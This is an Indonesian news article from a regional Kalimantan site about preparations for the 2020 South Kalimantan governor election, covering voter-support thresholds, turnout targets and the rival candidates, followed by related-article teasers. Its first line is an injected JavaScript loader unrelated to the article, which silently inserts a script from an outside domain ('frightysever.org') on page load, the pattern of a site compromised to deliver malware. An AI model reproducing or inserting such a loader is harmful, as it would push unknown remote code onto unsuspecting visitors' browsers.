(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
“Kemudian, pedoman teknis dan keputusan tentang dukungan minimal calon perseorangan dan minimal sebaran dukungan, yaitu jumlah minimal 243.880 dukungan atau pemilih dengan minimal sebaran 7 kabupaten dan kota,” papar Sarmuji.
Disinggung soal target partisipasi pemilih yang ditetapkan KPU RI sebesar 77,5 persen untuk Pilgub Kalsel, Sarmuji pun optimis dengan capaian angka partisipasi pemilih ini. Pihaknya akan sekuat tenaga untuk dapat mencapai target yang ditetapkan. Sarmuji juga berharap adanya dukungan pemberitaan dari media di Kalsel untuk dapat meningkatkan partisipasi pemilih.
“Kita berusaha untuk mencapai target 77,5 persen. Bagaimanapun apapun yang ditargetkan oleh KPU RI, jajaran kami akan sekuat tenaga untuk mencapai target itu. Mudah-mudahan (tercapai),” sebutnya.
Sementara itu, Anggota KPU RI Viryan Azis mengapresiasi peluncuran Pilgub Kalsel 2020, yang menyebut bahwa KPU Kalsel selangkah lebih depan dalan hal kesiapan menghadapi pilkada serentak pada 23 September 2020. Viryan menyebut, ada 9 provinsi yang ikut serta pada Pilkada serentak.
“Tapi Kalsel lebih awal dan melakukan persiapan lebih baik. Yaitu membuat FGD terkait dengan petunjuk teknis pedoman perilaku,” kata Viryan.
Saat ini, dua kandidat sudah menyatakan siap bertarung. Yakni incumbent Sahbirin Noor dan penantangnya Denny Indrayana. Jelang masa pendaftaran cagub, masing-masing kandidat sudah melakukan pendekatan ke sejumlah parpol.
Sahbirin yang disokong Partai Golkar, juga telah melobi PDIP, PKB, PPP, Nasdem, Gerindra, dan sejumlah partai lain sebagai pengusung. Isu yang berhembus belakangan, Ketua DPD I Golkar Kalsel tersebut akan menggandeng mantan rivalnya di Pilgub 2015, H Muhidin dari Partai Amanat Nasional (PAN).
Di sisi lain, sang penantang Denny Indrayana juga tak tinggal diam. Meski merupakan pendatang baru di kancah politik praktis, mantan Wamenkumham di era Presiden SBY ini mantab dengan langkahnya. Kabarnya, Denny sudah memastikan kendaraan politik dalam Pilgub nanti. Salah satu partai yang sudah menyatakan dukungan adalah Gerindra.
Bahkan, beberapa waktu lalu Denny sempat bertemu khusus dengan Ketua Umum Gerindra Prabowo Subianto. Demikian juga dengan Partai Demokrat. Sebagai orang dekat SBY, Denny memiliki kans untuk mendapatkan restu dari SBY.
Maka saat ini, tinggal menunggu kepastian rekomendasi parpol untuk dipakai kandidat sebagai bukti sah mendaftar di Pilkada Kalsel. (fikri)
KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More
KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Kantor Wilayah (Kanwil) Direktorat Jenderal Bea dan Cukai Bagian Kalimantan Selatan (DJBC… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menerima Laporan Hasil Pemeriksaan (LHP) dengan Tujuan Tertentu Kepatuhan… Read More
This website uses cookies.